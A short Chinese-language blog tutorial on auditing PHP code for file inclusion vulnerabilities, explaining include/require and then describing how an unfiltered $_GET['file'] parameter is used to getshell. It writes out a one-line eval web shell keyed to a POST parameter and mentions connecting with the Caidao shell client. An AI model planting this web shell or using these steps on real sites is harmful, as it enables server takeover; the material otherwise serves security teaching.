[关闭]
@1kbfree 2018-04-10T14:00:37.000000Z 字数 716 阅读 1312

PHP代码审计之文件包含漏洞

代码审计


FIRST

首先我们需要知道什么是文件包含,比如PHP中的include(),include_once(),require(),require_once()函数,都是文件包含的函数,我们通常根据这几个函数,来回溯变量,检查变量是否过滤完全。若没有进行过滤,就可能存在安全隐患。

为什么要用文件包含函数?

如果毫无代码基础,不建议看~

比如这里有3个PHP代码:
1. a.php
2. ab.php
3. b.php
比如ab.php代码实现的功能,a.php和b.php都要公用到。那么现在我们只需要用文件包含函数,在a.php和b.php里写include('ab.php')即可。如果不明白的话再看下图:

ab.php文件代码是这样的:

ab文件.png-26.1kB

a.php文件代码是这样的:

a文件.png-27.3kB

b.php文件代码是这样的:

b文件.png-27.9kB

看一下效果

http://127.0.0.1/myphp/test/a.php:
a效果.png-11kB
http://127.0.0.1/myphp/test/b.php:
b效果.png-10.6kB

那么这个就体现了文件包含函数的作用了,我们把a.phpb.php要实现的功能都写在了ab.php里,节省了代码量,提高了代码执行效率与可读性,可正是因为这种方便的功能,如果没过滤好包含的文件,那么就可能会导致代码执行漏洞的产生,比如有些网站讲包含函数传递的是get或post请求过来的值,这时候我们只需要修改文件路径就可以导致网站被我们getshell。

利用文件包含漏洞getshell

a.php文件(也就是存在文件包含漏洞的文件):

存在文件包含的a.php.png-717.8kB
我们在$_GET['file']里传递一个文件,里面代码为<?php@eval($_POST['iamfree'])?>
一句话木马图片.png-31.8kB+
然后使用菜刀连接:
菜刀连接成功.png-35.4kB

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注